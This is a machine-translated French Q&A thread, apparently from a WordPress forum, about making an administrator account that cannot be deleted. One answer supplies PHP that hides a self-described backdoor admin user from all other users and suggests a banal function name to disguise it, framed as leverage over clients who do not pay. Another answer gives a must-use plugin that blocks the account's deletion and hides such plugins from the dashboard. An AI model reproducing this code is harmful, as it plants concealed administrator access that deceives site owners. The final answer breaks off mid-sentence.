Comment puis-je ajouter un utilisateur Wordpress qui ne peut pas être supprimé (à tout prix, même pas par un superadmin) avec du code? Je ne trouve rien sur Google concernant un tel compte divin .
Ce matin, un client de notre société a supprimé le compte administrateur principal et tout le contenu du site Web. Nous avons pu restaurer le site Web avec une sauvegarde, mais j'aimerais éviter ce problème à l'avenir.
Bien que vous ne puissiez pas garantir la sécurité absolue de cet utilisateur, j'ai utilisé cette option pour masquer mon utilisateur de porte dérobée (utile pour les clients agressifs dans la suppression d'utilisateurs). , mais peut oublier de payer sa facture, par exemple)
add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'my_secret_admin_user') {
global $wpdb;
$user_search->query_where =
str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login !=
'my_secret_admin_user'",$user_search->query_where
);
}
}
Je nommerais la fonction quelque chose de banal, cela voudrait peut-être que votre utilisateur soit également banal. Le code empêche tout autre utilisateur de le voir dans la liste des administrateurs.
Il ne semble pas y avoir de moyen d'interrompre le processus de suppression dans la fonction wp_delete_user()
, qui l'exécute. Cependant, au moment de l'exécution, WordPress exécute (naturellement) la vérification des capacités avant la suppression:
if ( ! current_user_can( 'delete_user', $id ) )
wp_die(__( 'You can’t delete that user.' ) );
Il transmet $id
de l'utilisateur en cours de suppression. Vous devriez donc pouvoir le cibler dans l'un des filtres traitant des majuscules, probablement autour de user_has_cap
ou map_meta_cap
(je n'y avais rien fait depuis longtemps, je ne peux donc pas fournir de code précis. sur le dessus de ma tête).
Le hook load-$pagenow
peut aussi être utilisé. Le placer dans un plugin Must Use empêche sa désactivation. Et en ajoutant un filtre simple, nous pouvons empêcher les UM d'apparaître dans le tableau de bord ( ici , technique plus détaillée).
<?php
/*
Plugin Name: Cannot delete user
Description: Blocks the deletion of the user with ID == (adjust bellow)
Author: brasofilo
Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
Requires: PHP 5.3+
*/
add_filter( 'show_advanced_plugins', '__return_false' );
add_action( 'load-users.php', function()
{
# Not a delete screen, do nothing
if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
return;
# User(s) not set, do nothing
if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
return;
# Single user - adjust ID
if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
wp_die(
'Cannot delete this user.',
'Error',
array( 'response' => 500, 'back_link' => true )
);
# Bulk users - adjust ID
if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
wp_die(
'Cannot delete this user.',
'Error',
array( 'response' => 500, 'back_link' => true )
);
});
Comme @toscho a déclaré dans le commentaire. Un utilisateur non supprimable n'est pas possible. Ce que j’utilise personnellement est un script SysBot que j’héberge sur GitHub en tant que Gist . Le cas d’utilisation pour moi consiste normalement à mapper les publications que je génère à partir de sources distantes vers un utilisateur lorsque les données distantes entrantes ne contiennent rien qui puisse correspondre à un utilisateur existant.
Vous pourriez aller plus loin et
Si l'utilisateur est toujours supprimé une fois, il sera instantanément recréé lors du chargement de la page. Il en va de même pour la modification de ses informations utilisateur de base.